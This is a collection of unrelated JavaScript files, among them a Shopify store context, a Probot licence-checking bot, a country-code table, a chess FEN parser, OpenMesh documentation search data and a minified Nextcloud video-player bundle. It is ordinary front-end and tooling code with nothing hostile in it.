new BabelStandalonePlugin(),
new CopyWebpackPlugin({
patterns: [
{
from: resolve(__dirname, './node_modules/babel-polyfill/dist/polyfill.js'),
to: 'babel-polyfill.min.js',
},
{
from: resolve(__dirname, './node_modules/babel-standalone/babel.js'),
to: 'babel.min.js',
},
],
}),
],
}
|
import React from 'react';
import Client from 'shopify-buy';
const client = Client.buildClient({
domain: 'gatsby-swag.myshopify.com',
storefrontAccessToken: '9aa73c089d34741f36edbe4d7314373a'
});
export const defaultStoreContext = {
client,
isCartOpen: false,
checkout: { lineItems: [] },
products: [],
shop: {},
addVariantToCart: () => {},
removeLineItem: () => {},
updateLineItem: () => {},
toggleCart: () => {}
};
const StoreContext = React.createContext(defaultStoreContext);
export const withStoreContext = (Component) => {
return (props) => (
<StoreContext.Consumer>
{context => <Component {...props} storeContext={context} />}
</StoreContext.Consumer>
)
};
export default StoreContext;
|
const npmChecker = require("./lib/npm");
const defaultConfig = {
blackList: ["GPLv3", "GPL-3.0", "GPL 3", "unlicenced", "unlicensed"]
};
module.exports = robot => {
robot.log("Application started");
robot.on("pull_request", async context => {
robot.log(
"PR recieved from: " +
context.payload.repository +
" id: " +
context.payload.number +
" action: " +
context.payload.action
);
if (context.payload.action !== "opened") {
robot.log('Action not "open", doing nothing');
return;
}
const pr = {
owner: context.payload.repository.owner.login,
repo: context.payload.repository.name,
number: context.payload.number
};
const config = await context.config("licence-patrol.yaml", defaultConfig);
config.blacklist = config.blacklist || [];
config.whitelist = config.whitelist || [];
// "unknown" is emitted if we can't find a licence, we'll **always** report
// if we don't know the licence as it's the safest thing to do for the users.
config.blacklist.push("unknown");
robot.log(config.blacklist);
// If they provide both a blacklist and whitelist, the whitelist wins and the
// blacklist is ignored.
if (config.whitelist && config.blacklist) {
delete config.blacklist;
}
let alerts = [];
let checksMade = false;
const files = await context.github.pullRequests.getFiles(pr);
for (const file of files.data) {
if (file.filename === "package.json") {
robot.log(`Checking package ${file.filename} packages`);
const results = await npmChecker.check(
file.filename,
file.contents_url,
config
);
if (results.checks.length > 0) {
alerts.push(results);
}
checksMade = true;
} else {
robot.log("No package changes to check");
}
}
if (checksMade && alerts.length > 0) {
robot.log("Issuing licence alerts:", alerts.length);
for (const pkgMngAlerts of alerts) {
pr.body = createAlertMessage(pkgMngAlerts.checks);
pr.commit_id = context.payload.pull_request.head.sha;
pr.path = pkgMngAlerts.path;
pr.position = 1;
await context.github.pullRequests.createComment(pr);
}
} else if (checksMade && alerts.length === 0) {
robot.log("No alerts to issue");
const issue = context.issue({
body: "Your new package licences are all in order!"
});
await context.github.issues.createComment(issue);
}
});
};
function createAlertMessage(alerts) {
let msg =
"The following packages have licences which are on your blacklist, " +
"you should consider changing them:\n\n";
alerts.forEach(alrt => {
msg +=
`* [${alrt.package}](https://www.npmjs.com/package/${alrt.package}) ` +
`- ${alrt.licence.toUpperCase()}`;
});
return msg;
}
|
var countries = {
AF: 'Afghanistan',
AX: 'Åland Islands',
AL: 'Albania',
DZ: 'Algeria',
AS: 'American Samoa',
AD: 'Andorra',
AO: 'Angola',
AI: 'Anguilla',
AQ: 'Antarctica',
AG: 'Antigua and Barbuda',
AR: 'Argentina',
AM: 'Armenia',
AW: 'Aruba',
AU: 'Australia',
AT: 'Austria',
AZ: 'Azerbaijan',
BS: 'Bahamas',
BH: 'Bahrain',
BD: 'Bangladesh',
BB: 'Barbados',
BY: 'Belarus',
BE: 'Belgium',
BZ: 'Belize',
BJ: 'Benin',
BM: 'Bermuda',
BT: 'Bhutan',
BO: 'Bolivia',
BA: 'Bosnia and Herzegovina',
BW: 'Botswana',
BR: 'Brazil',
IO: 'British Indian Ocean Territory',
VG: 'British Virgin Islands',
BN: 'Brunei Darussalam',
BG: 'Bulgaria',
BF: 'Burkina Faso',
BI: 'Burundi',
KH: 'Cambodia',
CM: 'Cameroon',
CA: 'Canada',
CV: 'Cape Verde',
BQ: 'Caribbean Netherlands',
KY: 'Cayman Islands',
CF: 'Central African Republic',
TD: 'Chad',
CL: 'Chile',
CN: 'China',
CX: 'Christmas Island',
CC: 'Cocos Islands',
CO: 'Colombia',
KM: 'Comoros',
CG: 'Congo',
CK: 'Cook Islands',
CR: 'Costa Rica',
HR: 'Croatia',
CU: 'Cuba',
CW: 'Curaçao',
CY: 'Cyprus',
CZ: 'Czech Republic',
CD: 'Democratic Republic of the Congo',
DK: 'Denmark',
DJ: 'Djibouti',
DM: 'Dominica',
DO: 'Dominican Republic',
EC: 'Ecuador',
EG: 'Egypt',
SV: 'El Salvador',
GQ: 'Equatorial Guinea',
ER: 'Eritrea',
EE: 'Estonia',
ET: 'Ethiopia',
FK: 'Falkland Islands',
FO: 'Faroe Islands',
FM: 'Federated States of Micronesia',
FJ: 'Fiji',
FI: 'Finland',
FR: 'France',
GF: 'French Guiana',
PF: 'French Polynesia',
TF: 'French Southern Territories',
GA: 'Gabon',
GM: 'Gambia',
GE: 'Georgia',
DE: 'Germany',
GH: 'Ghana',
GI: 'Gibraltar',
GR: 'Greece',
GL: 'Greenland',
GD: 'Grenada',
GP: 'Guadeloupe',
GU: 'Guam',
GT: 'Guatemala',
GN: 'Guinea',
GW: 'Guinea-Bissau',
GY: 'Guyana',
HT: 'Haiti',
HN: 'Honduras',
HK: 'Hong Kong',
HU: 'Hungary',
IS: 'Iceland',
IN: 'India',
ID: 'Indonesia',
IR: 'Iran',
IQ: 'Iraq',
IE: 'Ireland',
IM: 'Isle of Man',
IL: 'Israel',
IT: 'Italy',
CI: 'Ivory Coast',
JM: 'Jamaica',
JP: 'Japan',
JE: 'Jersey',
JO: 'Jordan',
KZ: 'Kazakhstan',
KE: 'Kenya',
KI: 'Kiribati',
XK: 'Kosovo',
KW: 'Kuwait',
KG: 'Kyrgyzstan',
LA: 'Laos',
LV: 'Latvia',
LB: 'Lebanon',
LS: 'Lesotho',
LR: 'Liberia',
LY: 'Libya',
LI: 'Liechtenstein',
LT: 'Lithuania',
LU: 'Luxembourg',
MO: 'Macau',
MK: 'Macedonia',
MG: 'Madagascar',
MW: 'Malawi',
MY: 'Malaysia',
MV: 'Maldives',
ML: 'Mali',
MT: 'Malta',
MH: 'Marshall Islands',
MQ: 'Martinique',
MR: 'Mauritania',
MU: 'Mauritius',
YT: 'Mayotte',
MX: 'Mexico',
MD: 'Moldova',
MC: 'Monaco',
MN: 'Mongolia',
ME: 'Montenegro',
MS: 'Montserrat',
MA: 'Morocco',
MZ: 'Mozambique',
MM: 'Myanmar',
NA: 'Namibia',
NR: 'Nauru',
NP: 'Nepal',
NL: 'Netherlands',
NC: 'New Caledonia',
NZ: 'New Zealand',
NI: 'Nicaragua',
NE: 'Niger',
NG: 'Nigeria',
NU: 'Niue',
NF: 'Norfolk Island',
KP: 'North Korea',
MP: 'Northern Mariana Islands',
NO: 'Norway',
OM: 'Oman',
PK: 'Pakistan',
PW: 'Palau',
PS: 'Palestine',
PA: 'Panama',
PG: 'Papua New Guinea',
PY: 'Paraguay',
PE: 'Peru',
PH: 'Philippines',
PN: 'Pitcairn Islands',
PL: 'Poland',
PT: 'Portugal',
PR: 'Puerto Rico',
QA: 'Qatar',
RE: 'Reunion',
RO: 'Romania',
RU: 'Russia',
RW: 'Rwanda',
SH: 'Saint Helena',
KN: 'Saint Kitts and Nevis',
LC: 'Saint Lucia',
PM: 'Saint Pierre and Miquelon',
VC: 'Saint Vincent and the Grenadines',
WS: 'Samoa',
SM: 'San Marino',
ST: 'São Tomé and Príncipe',
SA: 'Saudi Arabia',
SN: 'Senegal',
RS: 'Serbia',
SC: 'Seychelles',
SL: 'Sierra Leone',
SG: 'Singapore',
SX: 'Sint Maarten',
SK: 'Slovakia',
SI: 'Slovenia',
SB: 'Solomon Islands',
SO: 'Somalia',
ZA: 'South Africa',
GS: 'South Georgia and the South Sandwich Islands',
KR: 'South Korea',
SS: 'South Sudan',
ES: 'Spain',
LK: 'Sri Lanka',
SD: 'Sudan',
SR: 'Suriname',
SJ: 'Svalbard and Jan Mayen',
SZ: 'Eswatini',
SE: 'Sweden',
CH: 'Switzerland',
SY: 'Syria',
TW: 'Taiwan',
TJ: 'Tajikistan',
TZ: 'Tanzania',
TH: 'Thailand',
TL: 'Timor-Leste',
TG: 'Togo',
TK: 'Tokelau',
TO: 'Tonga',
TT: 'Trinidad and Tobago',
TN: 'Tunisia',
TR: 'Turkey',
TM: 'Turkmenistan',
TC: 'Turks and Caicos Islands',
TV: 'Tuvalu',
UG: 'Uganda',
UA: 'Ukraine',
AE: 'United Arab Emirates',
GB: 'United Kingdom',
US: 'United States',
UM: 'United States Minor Outlying Islands',
VI: 'United States Virgin Islands',
UY: 'Uruguay',
UZ: 'Uzbekistan',
VU: 'Vanuatu',
VA: 'Vatican City',
VE: 'Venezuela',
VN: 'Vietnam',
WF: 'Wallis and Futuna',
EH: 'Western Sahara',
YE: 'Yemen',
ZM: 'Zambia',
ZW: 'Zimbabwe'
};
|
var util = require('./util');
var initial = 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR';
var roles = {
p: "pawn",
r: "rook",
n: "knight",
b: "bishop",
q: "queen",
k: "king"
};
var letters = {
pawn: "p",
rook: "r",
knight: "n",
bishop: "b",
queen: "q",
king: "k"
};
function read(fen) {
if (fen === 'start') fen = initial;
var pieces = {};
fen.replace(/ .+$/, '').split('/').forEach(function(row, y) {
var x = 0;
row.split('').forEach(function(v) {
var nb = parseInt(v);
if (nb) x += nb;
else {
x++;
pieces[util.pos2key([x, 8 - y])] = {
role: roles[v.toLowerCase()],
color: v === v.toLowerCase() ? 'black' : 'white'
};
}
});
});
return pieces;
}
function write(pieces) {
return [8, 7, 6, 5, 4, 3, 2].reduce(
function(str, nb) {
return str.replace(new RegExp(Array(nb + 1).join('1'), 'g'), nb);
},
util.invRanks.map(function(y) {
return util.ranks.map(function(x) {
var piece = pieces[util.pos2key([x, y])];
if (piece) {
var letter = letters[piece.role];
return piece.color === 'white' ? letter.toUpperCase() : letter;
} else return '1';
}).join('');
}).join('/'));
}
module.exports = {
initial: initial,
read: read,
write: write
};
|
var searchData=
[
['predefined_20mesh_20types',['Predefined Mesh Types',['../a00739.html',1,'']]],
['p0',['p0',['../a00107.html#a4d6e1b8c56453e3de48ed178d067c876',1,'OpenMesh::Decimater::CollapseInfoT']]],
['p1',['p1',['../a00107.html#a91226116d563790a8d04b09a9ef2d965',1,'OpenMesh::Decimater::CollapseInfoT']]],
['parent_5fhandle',['parent_handle',['../a00316.html#af7f5e2156282bcbbe126fb2101de8932',1,'OpenMesh::VDPM::VHierarchyNode']]],
['persistent',['persistent',['../a00094.html#a0ccadfed0436f3c25c574f3e151e7036',1,'OpenMesh::BaseProperty']]],
['plane3d',['Plane3d',['../a00238.html',1,'OpenMesh::VDPM']]],
['plot_5fequation',['plot_equation',['../a00173.html#afb72ee2b5e6d7d777f1953ebf110947a',1,'Gnuplot']]],
['plot_5fslope',['plot_slope',['../a00173.html#a538309f9db7cb199030d5d75912f9ab8',1,'Gnuplot']]],
['plot_5fx',['plot_x',['../a00173.html#ab8e2cc098981edc58c82389b53ac3a0a',1,'Gnuplot']]],
['plot_5fxy',['plot_xy',['../a00173.html#a5442faded1dc684e3fc1d3a43e0953a2',1,'Gnuplot']]],
['pminfo',['PMInfo',['../a00239.html',1,'']]],
['point',['Point',['../a00193.html#ae2c164ff32013a289e8016648535aa9a',1,'OpenMesh::Concepts::KernelT::Point()'],['../a00243.html#aed10fb4dfb536b53a5e20c8f2442eadf',1,'OpenMesh::PolyMeshT::Point()'],['../a00127.html#a57c3a0075b2f50719679de132aa772b1',1,'OpenMesh::DefaultTraits::Point()'],['../a00208.html#ae818eec9138feb70e7cfa02f0e026f2c',1,'OpenMesh::Python::MeshTraits::Point()'],['../a00193.html#a2b6341f9784cd9b03585fe1926b85d98',1,'OpenMesh::Concepts::KernelT::point(VertexHandle _vh) const '],['../a00193.html#ab0716ef6c16f0bd7460c9f264c58e5d0',1,'OpenMesh::Concepts::KernelT::point(const Vertex &_v) const '],['../a00193.html#a2b6341f9784cd9b03585fe1926b85d98',1,'OpenMesh::Concepts::KernelT::point(VertexHandle _vh) const '],['../a00193.html#aa551804d63e67e85ed5eb735a99237ad',1,'OpenMesh::Concepts::KernelT::point(VertexHandle _vh)']]],
['polyconnectivity',['PolyConnectivity',['../a00240.html',1,'OpenMesh']]],
['polymesh_5farraykernel_5fgeneratort',['PolyMesh_ArrayKernel_GeneratorT',['../a00241.html',1,'OpenMesh']]],
['polymesh_5farraykernelt',['PolyMesh_ArrayKernelT',['../a00242.html',1,'OpenMesh']]],
['polymesht',['PolyMeshT',['../a00243.html',1,'OpenMesh']]],
['pop_5ffront',['pop_front',['../a00184.html#aa0f851857c3aee86ea1eb763a5980660',1,'OpenMesh::Utils::HeapT']]],
['postprocess_5fcollapse',['postprocess_collapse',['../a00213.html#a7ae6cc4976c9b829a926a1f2c6b862d1',1,'ModBalancerT::postprocess_collapse()'],['../a00088.html#a8a3153d5847b381262fc15d110c3f10e',1,'OpenMesh::Decimater::BaseDecimaterT::postprocess_collapse()'],['../a00214.html#a9b79ddfa2e7771572dd558c928edcdeb',1,'OpenMesh::Decimater::ModBaseT::postprocess_collapse()'],['../a00217.html#af1fdb32bf2d16b64d486c1398edb2e5e',1,'OpenMesh::Decimater::ModHausdorffT::postprocess_collapse()'],['../a00219.html#ab24afb91c890d484a3bc7674c3e20c39',1,'OpenMesh::Decimater::ModIndependentSetsT::postprocess_collapse()'],['../a00220.html#a4f1c81426de1133b30357b14bc9030e8',1,'OpenMesh::Decimater::ModNormalDeviationT::postprocess_collapse()'],['../a00222.html#a557fa0451994a87346f85b90b50da7d4',1,'OpenMesh::Decimater::ModProgMeshT::postprocess_collapse()'],['../a00223.html#acc01feeb26061855e79480a035068c0c',1,'OpenMesh::Decimater::ModQuadricT::postprocess_collapse()']]],
['prepare',['prepare',['../a00101.html#a9becc2879f2bd7460a7e5459851c9a6e',1,'OpenMesh::Subdivider::Uniform::CatmullClarkT::prepare()'],['../a00114.html#a99076b15a85d478bd98933fa47a7ee9a',1,'OpenMesh::Subdivider::Uniform::CompositeT::prepare()'],['../a00195.html#a148e2fcd262625cec18244ba337e3ace',1,'OpenMesh::Subdivider::Uniform::LongestEdgeT::prepare()'],['../a00197.html#a9f8be7dc6fba2ab89119e7142e3d772b',1,'OpenMesh::Subdivider::Uniform::LoopT::prepare()'],['../a00218.html#a5cb2f2cf637a0c07a7fab9a2fcedeb5c',1,'OpenMesh::Subdivider::Uniform::ModifiedButterflyT::prepare()'],['../a00188.html#abf511dca5227c85aca4c85507888f492',1,'OpenMesh::Subdivider::Uniform::InterpolatingSqrt3LGT::prepare()'],['../a00260.html#aa74bb10de4aaa773f41b07f8c4a863b9',1,'OpenMesh::Subdivider::Uniform::Sqrt3T::prepare()'],['../a00265.html#a83f6bde97d824c799cc3a2ee4f137ffb',1,'OpenMesh::Subdivider::Uniform::SubdividerT::prepare()']]],
['preprocess_5fcollapse',['preprocess_collapse',['../a00088.html#a5a2763cdc33d785a1f53aed2168a7189',1,'OpenMesh::Decimater::BaseDecimaterT::preprocess_collapse()'],['../a00212.html#aa4049ce266c474b148702674ede963a1',1,'OpenMesh::Decimater::ModAspectRatioT::preprocess_collapse()'],['../a00214.html#a4d6aa846add0068b1e2bd7005e60edb4',1,'OpenMesh::Decimater::ModBaseT::preprocess_collapse()']]],
['prev_5fhalfedge_5fhandle',['prev_halfedge_handle',['../a00193.html#aa9d89ad830674141c58387e78b7590ea',1,'OpenMesh::Concepts::KernelT']]],
['prevhalfedge',['PrevHalfedge',['../a00716.html#ab78a93560926cd2f9958cb028f7ea96dafaaebe1808b5cce96ad4e19df471d58a',1,'OpenMesh::Attributes']]],
['progviewerwidget',['ProgViewerWidget',['../a00244.html',1,'ProgViewerWidget'],['../a00244.html#a72e80912092abd8bb1b3e4796121d037',1,'ProgViewerWidget::ProgViewerWidget()']]],
['property',['property',['../a00193.html#a445dc45b5d4984987c5debbad9677d4c',1,'OpenMesh::Concepts::KernelT::property([VEHF]PropHandleT< T > _ph)'],['../a00193.html#a714dd03a60a3279a14e1877723996cf1',1,'OpenMesh::Concepts::KernelT::property([VEHF]PropHandleT< T > _ph) const '],['../a00193.html#ae6c656910d0ac162eccf3d70799c5604',1,'OpenMesh::Concepts::KernelT::property(VPropHandleT< T > _ph, VertexHandle _vh)'],['../a00193.html#a2895aadd0d56471886855d3982b860f9',1,'OpenMesh::Concepts::KernelT::property(VPropHandleT< T > _ph, VertexHandle _vh) const '],['../a00193.html#a66091076630797fb69aff7bdfbb40303',1,'OpenMesh::Concepts::KernelT::property(EPropHandleT< T > _ph, EdgeHandle _vh)'],['../a00193.html#a7e923ce94dfa74b5bec5856fc43fb22b',1,'OpenMesh::Concepts::KernelT::property(EPropHandleT< T > _ph, EdgeHandle _vh) const '],['../a00193.html#ae523e7e330b0b596e51654bbe427c52d',1,'OpenMesh::Concepts::KernelT::property(HPropHandleT< T > _ph, HalfedgeHandle _vh)'],['../a00193.html#aa6c4983569547f9b12245e5f655b0f70',1,'OpenMesh::Concepts::KernelT::property(HPropHandleT< T > _ph, HalfedgeHandle _vh) const '],['../a00193.html#a9eb94cf8c4bce554a8c344ba29159cc1',1,'OpenMesh::Concepts::KernelT::property(FPropHandleT< T > _ph, FaceHandle _vh)'],['../a00193.html#ad68cd7495aecd3bee05d6775dab1f7d7',1,'OpenMesh::Concepts::KernelT::property(FPropHandleT< T > _ph, FaceHandle _vh) const '],['../a00193.html#a821e62e8d2b4eff96e1195863df09726',1,'OpenMesh::Concepts::KernelT::property(MPropHandleT< T > _ph)'],['../a00193.html#a0dc779b3faf49ee6afd968cd04eda2ae',1,'OpenMesh::Concepts::KernelT::property(MPropHandleT< T > _ph) const '],['../a00092.html#a2e2f14b6f08ae63173594555e0c94d57',1,'OpenMesh::BaseKernel::property(VPropHandleT< T > _ph)'],['../a00092.html#a9c9dba28456c018fc967aa3deac2acca',1,'OpenMesh::BaseKernel::property(VPropHandleT< T > _ph) const '],['../a00092.html#ac01aad67d28b841a377f06308511f17f',1,'OpenMesh::BaseKernel::property(HPropHandleT< T > _ph)'],['../a00092.html#a980d00c1963b890321bb1a99d55c0275',1,'OpenMesh::BaseKernel::property(HPropHandleT< T > _ph) const '],['../a00092.html#aa8e3d10bd972dfb048b65ff361895eb9',1,'OpenMesh::BaseKernel::property(EPropHandleT< T > _ph)'],['../a00092.html#a44f14d20052503b4b49c2830ed308b39',1,'OpenMesh::BaseKernel::property(EPropHandleT< T > _ph) const '],['../a00092.html#a17aa4c33b2aa3ab9c522134b5451e986',1,'OpenMesh::BaseKernel::property(FPropHandleT< T > _ph)'],['../a00092.html#afb72501d3452b74df3971b59d182824c',1,'OpenMesh::BaseKernel::property(FPropHandleT< T > _ph) const '],['../a00092.html#a788712239e2f3e298be65a61939e6db7',1,'OpenMesh::BaseKernel::property(VPropHandleT< T > _ph, VertexHandle _vh)'],['../a00092.html#a3931fbb29dd8db21354a58422dfe64c6',1,'OpenMesh::BaseKernel::property(VPropHandleT< T > _ph, VertexHandle _vh) const '],['../a00092.html#aa308e3bd23356b6f90f3ea387a92e722',1,'OpenMesh::BaseKernel::property(HPropHandleT< T > _ph, HalfedgeHandle _hh)'],['../a00092.html#a223eb3ae960398a76202126ada606d79',1,'OpenMesh::BaseKernel::property(HPropHandleT< T > _ph, HalfedgeHandle _hh) const '],['../a00092.html#a5d18c51ef506fb387a4cc8b4109b63f4',1,'OpenMesh::BaseKernel::property(EPropHandleT< T > _ph, EdgeHandle _eh)'],['../a00092.html#ada80121525867ef7c45d4d3699f8e6b7',1,'OpenMesh::BaseKernel::property(EPropHandleT< T > _ph, EdgeHandle _eh) const '],['../a00092.html#a0a8c6cd2231f181de1d8a899f0018669',1,'OpenMesh::BaseKernel::property(FPropHandleT< T > _ph, FaceHandle _fh)'],['../a00092.html#ac2d0b91f3d6cd33bffd40fdb396201e9',1,'OpenMesh::BaseKernel::property(FPropHandleT< T > _ph, FaceHandle _fh) const '],['../a00092.html#a6212f4adf43f5d0db4cfeba208aa3936',1,'OpenMesh::BaseKernel::property(MPropHandleT< T > _ph)'],['../a00092.html#a8bba056168db15d9bd09a61017f53e7c',1,'OpenMesh::BaseKernel::property(MPropHandleT< T > _ph) const ']]],
['property_5fexists',['property_exists',['../a00727.html#a1a34f1de4193e2bf4797d2acb5336c8d',1,'OpenMesh::Python']]],
['propertycontainer',['PropertyContainer',['../a00245.html',1,'OpenMesh']]],
['propertykernel',['PropertyKernel',['../a00246.html',1,'OpenMesh::Kernel_OSG']]],
['propertykernel_3c_20meshitems_3a_3aface_3a_3aistriangle_20_3e',['PropertyKernel< MeshItems::Face::IsTriangle >',['../a00246.html',1,'OpenMesh::Kernel_OSG']]],
['propertymanager',['PropertyManager',['../a00247.html#ab669f9c2efb6f9ad356c7c653a8de40c',1,'OpenMesh::PropertyManager']]],
['propertymanager',['PropertyManager',['../a00247.html',1,'OpenMesh']]],
['propertyt',['PropertyT',['../a00248.html#a58eae2a125d260f041511dcff610df68',1,'OpenMesh::PropertyT::PropertyT(const std::string &_name="<unknown>")'],['../a00248.html#a872b2ac8e65cc6e1b47ba418e1537a41',1,'OpenMesh::PropertyT::PropertyT(const PropertyT &_rhs)']]],
['propertyt',['PropertyT',['../a00248.html',1,'OpenMesh']]],
['propertyt_3c_20bool_20_3e',['PropertyT< bool >',['../a00249.html',1,'OpenMesh']]],
['propertyt_3c_20std_3a_3astring_20_3e',['PropertyT< std::string >',['../a00250.html',1,'OpenMesh']]],
['propman_5fget_5fitem',['propman_get_item',['../a00727.html#a6b6d415eac8d4303bdbca5c7635be22f',1,'OpenMesh::Python']]],
['propman_5fset_5fitem',['propman_set_item',['../a00727.html#afa870a748e93e6147316ef489942166f',1,'OpenMesh::Python']]],
['propman_5fset_5frange',['propman_set_range',['../a00727.html#a10e33334c915e5a14fc2cd32d9f2f60e',1,'OpenMesh::Python']]],
['proxy',['Proxy',['../a00251.html',1,'OpenMesh::PropertyManager']]],
['push_5fback',['push_back',['../a00094.html#a1f2bd397fadcf254837de61df06069d0',1,'OpenMesh::BaseProperty::push_back()'],['../a00248.html#a8e4cbc17a9152f89c438bda5c63db4cc',1,'OpenMesh::PropertyT::push_back()'],['../a00249.html#ab60573dee747c0020faac9fec1c3a49c',1,'OpenMesh::PropertyT< bool >::push_back()'],['../a00250.html#aac958733e0a0f618ce0a14ed2147d3c8',1,'OpenMesh::PropertyT< std::string >::push_back()'],['../a00235.html#ab44f9a631e21f158844394e7a14f8341',1,'OpenMesh::Kernel_OSG::oPropertyT::push_back()']]],
['python_20tutorial',['Python Tutorial',['../a00036.html',1,'index']]]
];
|
!function(e){function t(t){for(var n,o,r=t[0],l=t[1],a=0,s=[];a<r.length;a++)o=r[a],i[o]&&s.push(i[o][0]),i[o]=0;for(n in l)Object.prototype.hasOwnProperty.call(l,n)&&(e[n]=l[n]);for(d&&d(t);s.length;)s.shift()()}var n={},i={0:0};function o(t){if(n[t])return n[t].exports;var i=n[t]={i:t,l:!1,exports:{}};return e[t].call(i.exports,i,i.exports,o),i.l=!0,i.exports}o.e=function(e){var t=[],n=i[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise(function(t,o){n=i[e]=[t,o]});t.push(n[2]=r);var l,a=document.createElement("script");a.charset="utf-8",a.timeout=120,o.nc&&a.setAttribute("nonce",o.nc),a.src=function(e){return o.p+""+({1:"vendors~videojs",2:"videojs"}[e]||e)+".js"}(e),l=function(t){a.onerror=a.onload=null,clearTimeout(d);var n=i[e];if(0!==n){if(n){var o=t&&("load"===t.type?"missing":t.type),r=t&&t.target&&t.target.src,l=new Error("Loading chunk "+e+" failed.\n("+o+": "+r+")");l.type=o,l.request=r,n[1](l)}i[e]=void 0}};var d=setTimeout(function(){l({type:"timeout",target:a})},12e4);a.onerror=a.onload=l,document.head.appendChild(a)}return Promise.all(t)},o.m=e,o.c=n,o.d=function(e,t,n){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)o.d(n,i,function(t){return e[t]}.bind(null,i));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="/js/",o.oe=function(e){throw console.error(e),e};var r=window.webpackJsonp=window.webpackJsonp||[],l=r.push.bind(r);r.push=t,r=r.slice();for(var a=0;a<r.length;a++)t(r[a]);var d=l;o(o.s=1)}([function(e,t,n){"use strict";
/*!
* escape-html
* Copyright(c) 2012-2013 TJ Holowaychuk
* Copyright(c) 2015 Andreas Lubbe
* Copyright(c) 2015 Tiancheng "Timothy" Gu
* MIT Licensed
*/var i=/["'&<>]/;e.exports=function(e){var t,n=""+e,o=i.exec(n);if(!o)return n;var r="",l=0,a=0;for(l=o.index;l<n.length;l++){switch(n.charCodeAt(l)){case 34:t=""";break;case 38:t="&";break;case 39:t="'";break;case 60:t="<";break;case 62:t=">";break;default:continue}a!==l&&(r+=n.substring(a,l)),a=l+1,r+=t}return a!==l?r+n.substring(a,l):r}},function(e,t,n){"use strict";n.r(t);var i=n(0),o=n.n(i);
/*
* @copyright 2018 Christoph Wurst <christoph@winzerhof-wurst.at>
*
* @author 2018 Christoph Wurst <christoph@winzerhof-wurst.at>
*
* @license GNU AGPL version 3 or any later version
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
n.nc=btoa(OC.requestToken),n.p=OC.filePath("files_videoplayer","","js/");var r=null,l={UI:{show:function(){var e=document.createElement("source");e.src=o()(l.location).replace("&","&"),l.mime&&(e.type=o()(l.mime));var t=document.createElement("video");if(t.id="my_video_1",t.classList.add("video-js"),t.classList.add("vjs-fill"),t.classList.add("vjs-big-play-centered"),t.controls=!0,t.preload="auto",t.width="100%",t.height="100%",t.poster=OC.filePath("files_videoplayer","","img")+"/poster.png",t.setAttribute("data-setup",'{"techOrder": ["html5"]}'),t.appendChild(e),null===l.inline){var n=document.createElement("div");n.id="videoplayer_overlay";var i=document.createElement("div");i.id="videoplayer_outer_container";var a=document.createElement("div");a.id="videoplayer_container";var d=document.createElement("div");d.id="videoplayer",a.appendChild(d),i.appendChild(a),n.appendChild(i),d.appendChild(t),document.body.appendChild(n),n.addEventListener("click",function(e){e.target===this&&l.hidePlayer()}),setTimeout(function(){n.className="show"},0)}else{var s=document.createElement("div");s.id="videoplayer_view",s.appendChild(t),l.inline.appendChild(s)}r("my_video_1",{fill:!0}).ready(function(){if(l.player=this,null===l.inline){var e=document.createElement("a");e.className="icon-view-close",e.id="box-close",e.href="#",e.addEventListener("click",function(){l.hidePlayer()}),document.getElementById("my_video_1").appendChild(e)}null===document.getElementById("body-public")&&l.player.play()})},hide:function(){var e=document.getElementById("videoplayer_overlay");e.className="",setTimeout(function(){e.parentElement.removeChild(e)},500)}},mime:null,file:null,location:null,player:null,inline:null,mimeTypes:["video/mp4","video/x-m4v","video/webm","video/x-flv","video/ogg","video/quicktime","video/x-matroska"],mimeTypeAliasses:{"video/x-matroska":"video/webm"},onView:function(e,t){l.file=e,l.dir=t.dir,l.location=t.fileList.getDownloadUrl(e,l.dir),l.mime=t.$file.attr("data-mime"),l.mimeTypeAliasses.hasOwnProperty(l.mime)&&(l.mime=l.mimeTypeAliasses[l.mime]),l.showPlayer()},onViewInline:function(e,t,n){l.location=t,l.mime=n,l.mimeTypeAliasses.hasOwnProperty(l.mime)&&(l.mime=l.mimeTypeAliasses[l.mime]),l.inline=e,l.showPlayer()},showPlayer:function(){Promise.all([n.e(1),n.e(2)]).then(n.bind(null,4)).then(function(e){r=e.default,Promise.all([Promise.all([n.e(1),n.e(2)]).then(n.t.bind(null,2,7)),Promise.all([n.e(1),n.e(2)]).then(n.t.bind(null,3,7))]).then(function(){l.UI.show()})})},hidePlayer:function(){null!==l.player&&!1!==l.player&&null===l.inline&&(l.player.dispose(),l.player=!1,l.UI.hide())},log:function(e){console.log(e)}};document.addEventListener("DOMContentLoaded",function(){if(document.addEventListener("keyup",function(e){(void 0!==e.key&&"Escape"===e.key||void 0!==e.keyCode&&27===e.keyCode)&&l.hidePlayer()}),OCA&&OCA.Files&&OCA.Files.fileActions&&!OCA.Viewer)for(var e=0;e<l.mimeTypes.length;++e){var t=l.mimeTypes[e];OCA.Files.fileActions.register(t,"View",OC.PERMISSION_READ,"",l.onView),OCA.Files.fileActions.setDefault(t,"View"),t===n&&(isSupportedMimetype=!0)}if(document.getElementById("body-public")&&document.getElementById("imgframe")){var n=document.getElementById("mimetype").value;for(e=0;e<l.mimeTypes.length;++e)if(l.mimeTypes[e]===n){var i=window.location.href.split("?")[0]+"/download";l.onViewInline(document.getElementById("imgframe"),i,n);break}}})}]);
//# sourceMappingURL=main.js.map
|
'use strict';
const merge = require('../merge');
const ServiceRole = require('./service-role');
/**
* Baseline CloudFormation resources involved in a Lambda Function. Creates a
